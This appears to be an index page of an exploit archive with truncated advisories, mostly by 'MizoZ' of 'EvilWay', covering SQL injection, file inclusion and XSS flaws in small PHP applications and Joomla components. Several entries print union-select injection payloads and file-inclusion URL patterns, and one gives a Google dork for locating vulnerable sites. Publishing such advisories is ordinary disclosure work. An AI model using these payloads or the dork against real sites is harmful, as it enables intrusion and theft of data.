Pollen CMS 0.6 File Disclosure

Title: Pollen CMS = 0.6 - Local File Disclosure Google Dork: intext:"Powered by Pollen CMS" Date: 25 Mars 2013 Exploit Author: MizoZ Vendor Homepage: pollencms.com BROKEN Software Link: https://code.google.com/p/pollencms/ Version: 0.6 Tested on: Ubuntu Desktop 12.04 -- File...

Evernew Free Joke Script (viewjokes.php) SQL Injection

Exploit for unknown platform in category web applications ====================================================== Evernew Free Joke Script viewjokes.php SQL Injection ====================================================== / Name : Evernew Free Joke Script viewjokes.php SQL Injection WebSite :...

Joomla IotaPhotoGallery SQL Injection

/ Name : Joomla Component comiotaPhotoGallery Vuln : SQL Injection vulnerability Author : Hamza 'MizoZ' N. Email : mizozxatgmaildotcom Greetz : Zuka , Grey Hat Hackers / SQLI...

Joomla Biographies Local File Inclusion

/ Name : Joomla Component combiographies Vuln : Local File Include Author : Hamza 'MizoZ' N. Email : mizozxatgmaildotcom Greetz : Zuka , Grey Hat Hackers : / LFI : Get : biochaplist HOST/PATH/index.php?option=combiographies&task=showFile&biochaplist=LFI , start from PATH...

Betsy CMS versions 3.5 - Local File Inclusion

Betsy CMS versions 3.5 - Local File Inclusion / Author : MizoZ from MA Group : EvilWay Email : mizozxatgmaildotcom Greetz : Zuka !! Good luck DZ : / The vulnerability is in the file admin/popup.php on the get $GET'popup' Exploit : HOST/PATH/admin/popup.php?popup=IT INCLUDE FROM admin/...

Betsy CMS 3.5 Local File Inclusion

/ Author : MizoZ from MA Group : EvilWay Email : mizozxatgmaildotcom Greetz : Zuka !! Good luck DZ : / The vulnerability is in the file admin/popup.php on the get $GET'popup' Exploit : HOST/PATH/admin/popup.php?popup=IT INCLUDE FROM admin/...

Xstate Real Estate 1.0 (bSQL/XSS) Multiples Vulnerabilities

No description provided by source. / | | \ \ / / | | \ \ / / | |\ \ /\ / / | | | | | | \ V /| | | \ V V / | | || | || / ||| // ,|, | |/ | | | |/ / | ' \ | | / | | | | | | | |||,|| || || Xstate Real Estate 1.0 bSQL/XSS Multiples Vulnerability Discovered By : Moudi Contact : [email protected]...

Omnistar Recruiting Cross Site Scripting

/ Omnistar Recruiting resumeregister.php job2 XSS Vulnerability Discovered by : MizoZ Contact : [email protected] Team : EvilWay Date : July 29 2009 Greetings : Moudi , Zuka, All friends / We can inject HTML code on the GET SearchWd in faille searchadvance.php . HOST/PATH/users/resumeregister.php?job2=X...

PaymentProcessorScript SQL Injection

/ PaymentProcessorScript cid Remote SQL Injection Vulnerability Discovered by : MizoZ Contact : [email protected] Team : EvilWay Date : July 29 2009 Greetings : Moudi , Zuka, All friends / SQL Injection shop.php GET : cid : HOST/PATH/shop.php?cid=SQL CODE SQL CODE : -1+union+select+1,2,version-- Ex :...

AJ HYPE PRIME SQL Injection

/ AJ HYPE PRIME id Remote SQL Injection Vulnerability Discovered by : MizoZ Contact : [email protected] Team : EvilWay Date : July 29 2009 Greetings : Moudi , Zuka, All friends / SQL Injection welcome.php GET : id : HOST/PATH/forum/welcome.php?id=SQL CODE SQL CODE :...

Softbiz Dating Script SQL Injection

/ SOFTBIZ Dating Script cid Remote SQL Injection Vulnerability Discovered by : MizoZ Contact : [email protected] Date : July 29 2009 Greetings : Moudi , Zuka, All friends / SQL Injection catproducts.php GET : cid : HOST/PATH/catproducts.php?cid=SQL INJ SQL INJ : -1+union+select+1,2,3,4,5--...

AJ HYPE ACME SQL Injection

/ AJ HYPE ACME bSQLi/SQLi Multiple Remote Vulnerabilities Discovered by : MizoZ Contact : [email protected] Date : July 29 2009 Greetings : Moudi , Zuka, All friends / SQL Injection news.php GET : id : HOST/PATH/news.php?id=SQL CODE SQL CODE :...

phpArcadeScript 4.0 - id SQL Injection

phpArcadeScript 4.0 - id SQL Injection ---------------------------------------------------------------------------------------------------- Name : PHP AS v4 Site : http://www.phparcadescript.com/ ----------------------------------------------------------------------------------------------------...

PHP Arcade Script 4.0 SQL Injection

---------------------------------------------------------------------------------------------------- Name : PHP AS v4 Site : http://www.phparcadescript.com/ ---------------------------------------------------------------------------------------------------- Found By : MizoZ EvilWay Team Made in :...

phpArcadeScript 4.0 (linkout.php id) SQL Injection Vulnerability

No description provided by source. ---------------------------------------------------------------------------------------------------- Name : PHP AS v4 Site : http://www.phparcadescript.com/ ---------------------------------------------------------------------------------------------------- Foun...

Super Mod System 3.0 - s SQL Injection

Super Mod System 3.0 - s SQL Injection ---------------------------------------------------------------------------------------------------- Name : Super Mod System 3.1 5 Site : http://www.classified-software.co.uk/ Demo : http://www.classified-software.co.uk/super-mod-system-v3/...

Super Mod System 3.0 - 's' SQL Injection

---------------------------------------------------------------------------------------------------- Name : Super Mod System 3.1 5 Site : http://www.classified-software.co.uk/ Demo : http://www.classified-software.co.uk/super-mod-system-v3/...

Ebay Clone 2009 SQL Injection

---------------------------------------------------------------------------------------------------- Name : Clone2009 Ebay Clone Site : http://clone2009.com/ Demo : http://clone2009.com/demo/ ---------------------------------------------------------------------------------------------------- Foun...

eCardMAX 2006 Cross Site Scripting

-----------------------------I AM MUSLIM !!------------------------------ ============================================================================== / \ | | | | / \ | | | | / \ | | | | / \ | || | / \ | | | | / \ | | IN THE NAME OF // \ || || // \ || ||...

Ebay Clone 2009 - Multiple SQL Injections

---------------------------------------------------------------------------------------------------- Name : Ebay Clone 2009 Multiple SQL Injection Vulnerabilities Site : http://www.ebayclonescript.com/ Demo : http://ebayclonescript.com/ebayclone2009/...